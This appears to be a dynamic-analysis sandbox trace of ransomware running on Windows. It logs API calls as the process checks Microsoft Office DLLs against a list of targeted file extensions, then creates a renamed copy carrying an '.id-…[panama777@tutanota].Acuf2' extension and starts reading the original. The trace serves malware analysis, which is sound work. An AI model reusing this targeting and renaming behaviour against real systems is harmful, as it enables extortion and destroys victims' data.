	[0260.516] lstrlenW (lpString=".jpg") returned 4
	[0260.516] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0260.516] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0260.516] lstrlenW (lpString="EAWFINTL.DLL") returned 12
	[0260.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0260.517] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=51600) returned 1
	[0260.517] CloseHandle (hObject=0x354) returned 1
	[0260.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll")) returned 0x20
	[0260.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0260.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60
	[0260.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60
	[0260.517] lstrlenW (lpString=".doc") returned 4
	[0260.517] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0260.517] lstrlenW (lpString=".docx") returned 5
	[0260.517] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0260.517] lstrlenW (lpString=".pdf") returned 4
	[0260.517] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0260.517] lstrlenW (lpString=".xls") returned 4
	[0260.517] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0260.517] lstrlenW (lpString=".xlsx") returned 5
	[0260.517] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0260.517] lstrlenW (lpString=".ppt") returned 4
	[0260.518] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0260.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60
	[0260.518] lstrlenW (lpString=".zip") returned 4
	[0260.518] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0260.518] lstrlenW (lpString=".rar") returned 4
	[0260.518] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0260.518] lstrlenW (lpString=".bz2") returned 4
	[0260.518] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0260.518] lstrlenW (lpString=".7z") returned 3
	[0260.518] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0260.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60
	[0260.518] lstrlenW (lpString=".dbf") returned 4
	[0260.518] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0260.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60
	[0260.518] lstrlenW (lpString=".1cd") returned 4
	[0260.518] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0260.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60
	[0260.518] lstrlenW (lpString=".jpg") returned 4
	[0260.518] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0260.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60
	[0260.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60
	[0260.518] lstrlenW (lpString=".doc") returned 4
	[0260.518] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0260.518] lstrlenW (lpString=".docx") returned 5
	[0260.518] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0260.518] lstrlenW (lpString=".pdf") returned 4
	[0260.518] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0260.518] lstrlenW (lpString=".xls") returned 4
	[0260.518] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0260.518] lstrlenW (lpString=".xlsx") returned 5
	[0260.518] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0260.519] lstrlenW (lpString=".ppt") returned 4
	[0260.519] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0260.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60
	[0260.519] lstrlenW (lpString=".zip") returned 4
	[0260.519] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0260.519] lstrlenW (lpString=".rar") returned 4
	[0260.519] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0260.519] lstrlenW (lpString=".bz2") returned 4
	[0260.519] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0260.519] lstrlenW (lpString=".7z") returned 3
	[0260.519] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0260.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60
	[0260.519] lstrlenW (lpString=".dbf") returned 4
	[0260.519] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0260.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60
	[0260.519] lstrlenW (lpString=".1cd") returned 4
	[0260.519] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0260.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL") returned 60
	[0260.519] lstrlenW (lpString=".jpg") returned 4
	[0260.519] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0260.519] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0260.519] lstrlenW (lpString="EDITRES.DLL") returned 11
	[0260.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0260.520] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=19840) returned 1
	[0260.520] CloseHandle (hObject=0x354) returned 1
	[0260.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll")) returned 0x20
	[0260.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0260.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59
	[0260.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59
	[0260.520] lstrlenW (lpString=".doc") returned 4
	[0260.520] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0260.520] lstrlenW (lpString=".docx") returned 5
	[0260.520] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0260.520] lstrlenW (lpString=".pdf") returned 4
	[0260.520] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0260.520] lstrlenW (lpString=".xls") returned 4
	[0260.520] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0260.520] lstrlenW (lpString=".xlsx") returned 5
	[0260.520] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0260.520] lstrlenW (lpString=".ppt") returned 4
	[0260.520] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0260.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59
	[0260.521] lstrlenW (lpString=".zip") returned 4
	[0260.521] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0260.521] lstrlenW (lpString=".rar") returned 4
	[0260.521] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0260.521] lstrlenW (lpString=".bz2") returned 4
	[0260.521] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0260.521] lstrlenW (lpString=".7z") returned 3
	[0260.521] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0260.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59
	[0260.521] lstrlenW (lpString=".dbf") returned 4
	[0260.521] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0260.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59
	[0260.521] lstrlenW (lpString=".1cd") returned 4
	[0260.521] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0260.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59
	[0260.521] lstrlenW (lpString=".jpg") returned 4
	[0260.521] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0260.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59
	[0260.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59
	[0260.521] lstrlenW (lpString=".doc") returned 4
	[0260.521] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0260.521] lstrlenW (lpString=".docx") returned 5
	[0260.521] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0260.521] lstrlenW (lpString=".pdf") returned 4
	[0260.521] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0260.521] lstrlenW (lpString=".xls") returned 4
	[0260.522] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0260.522] lstrlenW (lpString=".xlsx") returned 5
	[0260.522] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0260.522] lstrlenW (lpString=".ppt") returned 4
	[0260.522] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0260.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59
	[0260.522] lstrlenW (lpString=".zip") returned 4
	[0260.522] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0260.522] lstrlenW (lpString=".rar") returned 4
	[0260.522] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0260.522] lstrlenW (lpString=".bz2") returned 4
	[0260.522] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0260.522] lstrlenW (lpString=".7z") returned 3
	[0260.522] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0260.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59
	[0260.522] lstrlenW (lpString=".dbf") returned 4
	[0260.522] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0260.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59
	[0260.522] lstrlenW (lpString=".1cd") returned 4
	[0260.522] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0260.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL") returned 59
	[0260.522] lstrlenW (lpString=".jpg") returned 4
	[0260.522] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0260.522] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0260.522] lstrlenW (lpString="EntityPickerIntl.dll") returned 20
	[0260.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0260.523] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=24456) returned 1
	[0260.523] CloseHandle (hObject=0x354) returned 1
	[0260.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll")) returned 0x20
	[0260.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0260.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68
	[0260.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68
	[0260.523] lstrlenW (lpString=".doc") returned 4
	[0260.523] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0260.523] lstrlenW (lpString=".docx") returned 5
	[0260.523] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1
	[0260.523] lstrlenW (lpString=".pdf") returned 4
	[0260.523] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0260.523] lstrlenW (lpString=".xls") returned 4
	[0260.523] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0260.523] lstrlenW (lpString=".xlsx") returned 5
	[0260.524] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1
	[0260.524] lstrlenW (lpString=".ppt") returned 4
	[0260.524] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0260.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68
	[0260.524] lstrlenW (lpString=".zip") returned 4
	[0260.524] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0260.524] lstrlenW (lpString=".rar") returned 4
	[0260.524] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0260.524] lstrlenW (lpString=".bz2") returned 4
	[0260.524] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0260.524] lstrlenW (lpString=".7z") returned 3
	[0260.524] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0260.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68
	[0260.524] lstrlenW (lpString=".dbf") returned 4
	[0260.524] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0260.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68
	[0260.524] lstrlenW (lpString=".1cd") returned 4
	[0260.524] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0260.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68
	[0260.524] lstrlenW (lpString=".jpg") returned 4
	[0260.524] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0260.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68
	[0260.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68
	[0260.524] lstrlenW (lpString=".doc") returned 4
	[0260.524] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0260.524] lstrlenW (lpString=".docx") returned 5
	[0260.524] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1
	[0260.524] lstrlenW (lpString=".pdf") returned 4
	[0260.524] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0260.524] lstrlenW (lpString=".xls") returned 4
	[0260.524] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0260.524] lstrlenW (lpString=".xlsx") returned 5
	[0260.525] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1
	[0260.525] lstrlenW (lpString=".ppt") returned 4
	[0260.525] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0260.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68
	[0260.525] lstrlenW (lpString=".zip") returned 4
	[0260.525] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0260.525] lstrlenW (lpString=".rar") returned 4
	[0260.525] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0260.525] lstrlenW (lpString=".bz2") returned 4
	[0260.525] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0260.525] lstrlenW (lpString=".7z") returned 3
	[0260.525] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0260.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68
	[0260.525] lstrlenW (lpString=".dbf") returned 4
	[0260.525] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0260.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68
	[0260.525] lstrlenW (lpString=".1cd") returned 4
	[0260.525] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0260.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll") returned 68
	[0260.525] lstrlenW (lpString=".jpg") returned 4
	[0260.525] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0260.525] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0260.525] lstrlenW (lpString="ENVELOPR.DLL") returned 12
	[0260.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0260.526] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=17288) returned 1
	[0260.526] CloseHandle (hObject=0x354) returned 1
	[0260.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll")) returned 0x20
	[0260.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0260.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60
	[0260.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60
	[0260.527] lstrlenW (lpString=".doc") returned 4
	[0260.527] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0260.527] lstrlenW (lpString=".docx") returned 5
	[0260.527] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0260.527] lstrlenW (lpString=".pdf") returned 4
	[0260.527] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0260.527] lstrlenW (lpString=".xls") returned 4
	[0260.527] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0260.527] lstrlenW (lpString=".xlsx") returned 5
	[0260.527] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0260.527] lstrlenW (lpString=".ppt") returned 4
	[0260.527] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0260.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60
	[0260.527] lstrlenW (lpString=".zip") returned 4
	[0260.527] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0260.527] lstrlenW (lpString=".rar") returned 4
	[0260.527] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0260.527] lstrlenW (lpString=".bz2") returned 4
	[0260.527] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0260.527] lstrlenW (lpString=".7z") returned 3
	[0260.527] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0260.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60
	[0260.527] lstrlenW (lpString=".dbf") returned 4
	[0260.527] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0260.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60
	[0260.528] lstrlenW (lpString=".1cd") returned 4
	[0260.528] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0260.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60
	[0260.528] lstrlenW (lpString=".jpg") returned 4
	[0260.528] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0260.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60
	[0260.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60
	[0260.528] lstrlenW (lpString=".doc") returned 4
	[0260.528] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0260.528] lstrlenW (lpString=".docx") returned 5
	[0260.528] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0260.528] lstrlenW (lpString=".pdf") returned 4
	[0260.528] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0260.528] lstrlenW (lpString=".xls") returned 4
	[0260.528] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0260.528] lstrlenW (lpString=".xlsx") returned 5
	[0260.528] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0260.528] lstrlenW (lpString=".ppt") returned 4
	[0260.528] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0260.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60
	[0260.528] lstrlenW (lpString=".zip") returned 4
	[0260.528] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0260.528] lstrlenW (lpString=".rar") returned 4
	[0260.528] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0260.528] lstrlenW (lpString=".bz2") returned 4
	[0260.528] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0260.528] lstrlenW (lpString=".7z") returned 3
	[0260.528] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0260.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60
	[0260.528] lstrlenW (lpString=".dbf") returned 4
	[0260.529] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0260.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60
	[0260.529] lstrlenW (lpString=".1cd") returned 4
	[0260.529] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0260.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL") returned 60
	[0260.529] lstrlenW (lpString=".jpg") returned 4
	[0260.529] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0260.529] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Acuf2") returned 1
	[0260.529] lstrlenW (lpString="ENVELOPR.DLL.IDX_DLL") returned 20
	[0260.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0260.529] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=13696) returned 1
	[0260.529] CloseHandle (hObject=0x354) returned 1
	[0260.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll")) returned 0x20
	[0260.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0260.530] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.530] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0260.530] GetLastError () returned 0x0
	[0260.530] ReadFile (in: hFile=0x354, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x3580, lpOverlapped=0x0) returned 1
